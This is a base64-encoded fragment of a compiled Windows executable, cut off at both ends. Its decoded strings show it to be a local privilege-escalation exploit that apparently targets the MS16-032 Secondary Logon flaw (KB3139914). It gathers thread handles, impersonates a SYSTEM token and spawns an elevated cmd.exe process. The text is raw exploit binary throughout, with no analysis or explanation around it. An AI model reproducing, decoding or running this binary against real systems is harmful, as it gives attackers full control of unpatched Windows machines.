jb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAIGRlbGV0ZVtdAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAIFR5cGUgRGVzY3JpcHRvcicAAAAgQmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICgAIEJhc2UgQ2xhc3MgQXJyYXknAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAABVAFMARQBSADMAMgAuAEQATABMAAAAAABNZXNzYWd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AAKR9QQACAAAAxH1BAAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAIAAAACAAAAAwAAAAEAAADsfUEAAAAAAAAAAAADAAAAAQAAAPx9QQBAAAAAAAAAAAAAAADYJUAAQAAAAAAAAAAAAAAAniVAACIFkxkCAAAAMH5BAAEAAABAfkEAAAAAAAAAAAAAAAAAAQAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAVH5BAEAAAAAAAAAAAAAAALwpQAAiBZMZAgAAAIh+QQABAAAAmH5BAAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAKx+QQBAAAAAAAAAAAAAAACNLUAAAAAAAIYuQAAAAAAAzH5BAAIAAADYfkEA9H5BABAAAAD0oUEAAAAAAP////8AAAAADAAAABouQAAAAAAAEKJBAAAAAAD/////AAAAAAwAAADXSUAAAAAAACyiQQAAAAAA/////wAAAAAMAAAAUC5AAAAAAACRLkAAAAAAADx/QQADAAAATH9BABB/QQD0fkEAAAAAAEyiQQAAAAAA/////wAAAAAMAAAANS5AAAAAAACRLkAAAAAAAHh/QQADAAAAiH9BABB/QQD0fkEAAAAAAGyiQQAAAAAA/////wAAAAAMAAAAay5AAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABdNkAAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAN02QAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAYThAAAAAAAD+////AAAAAMT///8AAAAA/v///wAAAADBO0AAAAAAAP7///8AAAAAzP///wAAAAD+////Uj1AAGY9QAAAAAAA/v///wAAAADY////AAAAAP7///9rdkAAh3ZAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABUeEAAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMV5QAAAAAAA/v///wAAAADY////AAAAAP7////ZgEAA7IBAAAAAAAD+////AAAAANj///8AAAAA/v///7iBQAC8gUAAAAAAAP7///8AAAAA2P///wAAAAD+////hIFAAIiBQAAAAAAA/v///wAAAAC8////AAAAAP7///8AAAAAxINAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAACfh0AAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAABqJQAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAl45AAP7///8AAAAAo45AAP7///8AAAAA2P///wAAAAD+////AAAAANGPQAD+////AAAAAOCPQAD+////AAAAAHz///8AAAAA/v///wAAAAA8k0AAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAGCkQAAAAAAAJaRAAC+kQAD+////AAAAALD///8AAAAA/v///wAAAAATmkAAAAAAAGeZQABxmUAA/v///wAAAADY////AAAAAP7///+HoUAAi6FAAAAAAAD+////AAAAANj///8AAAAA/v///1yYQABlmEAAQAAAAAAAAAAAAAAAwJpAAP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAZIJBACIFkxkCAAAAdIJBAAEAAACEgkEAAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAANT///8AAAAA/v///0KjQABGo0AAAAAAAKKYQAAAAAAA7IJBAAIAAAD4gkEA9H5BAAAAAACkokEAAAAAAP////8AAAAADAAAAIeYQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAEbJAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACls0AAAAAAAAAAAABvs0AA/v///wAAAADU////AAAAAP7///8AAAAAL7dAAAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAJ10AAAAAAAP7///8AAAAAzP///wAAAAD+////AAAAANnXQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAwdhAAAAAAAD+////AAAAAMj///8AAAAA/v///wAAAABi6EAAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAH/rQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA1wxBAAAAAAD+////AAAAANj///8AAAAA/v///wAAAABRDkEAtIQBAAAAAAAAAAAAkIYBABwgAQCYhAEAAAAAAAAAAAAYhwEAACABAAAAAAAAAAAAAAAAAAAAAAAAAAAA8IYBAN6GAQDMhgEAsoYBAJ6GAQAGhwEAAAAAAECGAQBShgEAMoYBAHCGAQCAhgEAIIYBABCGAQD8hQEA6IUBANSFAQBghgEAwIUBACaHAQA2hwEARocBAFSHAQBqhwEAgIcBAJaHAQCohwEAuocBAMaHAQDahwEA9ocBAA6IAQAmiAEAMogBAD6IAQBWiAEAcogBAJCIAQCgiAEAyIgBANCIAQDciAEA6ogBAPiIAQACiQEAFIkBACSJAQAwiQEARokBAFiJAQBqiQEAdIkBAICJAQCMiQEAmIkBAK6JAQDAiQEAzokBAOiJAQD+iQEAGIoBADKKAQBMigEAWooBAGqKAQCAigEAkooBAKaKAQC2igEAyIoBANyKAQDsigEA/IoBAAAAAAAJAkdldEN1cnJlbnRQcm9jZXNzAGcCR2V0TW9kdWxlSGFuZGxlVwAADQJHZXRDdXJyZW50VGhyZWFkAABfBVRlcm1pbmF0ZVByb2Nlc3MAAFACR2V0TGFzdEVycm9yAACdAkdldFByb2NBZGRyZXNzAADoAkdldFRocmVhZElkAB8BRHVwbGljYXRlSGFuZGxlAH8AQ2xvc2VIYW5kbGUAWAVTdXNwZW5kVGhyZWFkAKcEUmVzdW1lVGhyZWFkAADoAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAAASAk9wZW5Qcm9jZXNzVG9rZW4AAIwAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAFwJPcGVuVGhyZWFkVG9rZW4A6gJTZXRUaHJlYWRUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAO4ARHVwbGljYXRlVG9rZW4AAEFEVkFQSTMyLmRsbAAAIQFFbmNvZGVQb2ludGVyAP4ARGVjb2RlUG9pbnRlcgBRAUV4aXRQcm9jZXNzAGYCR2V0TW9kdWxlSGFuZGxlRXhXAADRA011bHRpQnl0ZVRvV2lkZUNoYXIAywVXaWRlQ2hhclRvTXVsdGlCeXRlAMkBR2V0Q29tbWFuZExpbmVXAD8EUmFpc2VFeGNlcHRpb24AAKwEUnRsVW53aW5kAGcDSXNEZWJ1Z2dlclByZXNlbnQAbQNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ACUBRW50ZXJDcml0aWNhbFNlY3Rpb24AAKIDTGVhdmVDcml0aWNhbFNlY3Rpb24AADgDSGVhcFNpemUAADMDSGVhcEZyZWUAAAUBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAIAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABBBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAKBVNldExhc3RFcnJvcgAASANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AFAFU2xlZXAAcQVUbHNBbGxvYwAAcwVUbHNHZXRWYWx1ZQB0BVRsc1NldFZhbHVlAHIFVGxzRnJlZQC+AkdldFN0YXJ0dXBJbmZvVwDAAkdldFN0ZEhhbmRsZQAA3wVXcml0ZUZpbGUAYwJHZXRNb2R1bGVGaWxlTmFtZVcAAKcDTG9hZExpYnJhcnlFeFcAAHIDSXNWYWxpZENvZGVQYWdlAKQBR2V0QUNQAACGAkdldE9FTUNQAACzAUdldENQSW5mbwAvA0hlYXBBbGxvYwAOAkdldEN1cnJlbnRUaHJlYWRJZAAAogJHZXRQcm9jZXNzSGVhcAAAPgJHZXRGaWxlVHlwZQAtBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAAoCR2V0Q3VycmVudFByb2Nlc3NJZADWAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lACcCR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAnQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwA2A0hlYXBSZUFsbG9jAJYDTENNYXBTdHJpbmdXAAD6A091dHB1dERlYnVnU3RyaW5nVwAAxQJHZXRTdHJpbmdUeXBlVwAAkgFGbHVzaEZpbGVCdWZmZXJzAADcAUdldENvbnNvbGVDUAAA7gFHZXRDb25zb2xlTW9kZQAA/ARTZXRGaWxlUG9pbnRlckV4AAAgBVNldFN0ZEhhbmRsZQAA3gVXcml0ZUNvbnNvbGVXAMIAQ3JlYXRlRmlsZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdZgAAHOYAABO5kC7sRm/RAEAAAAAAAAAILNBAAAAAAAgs0EAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgA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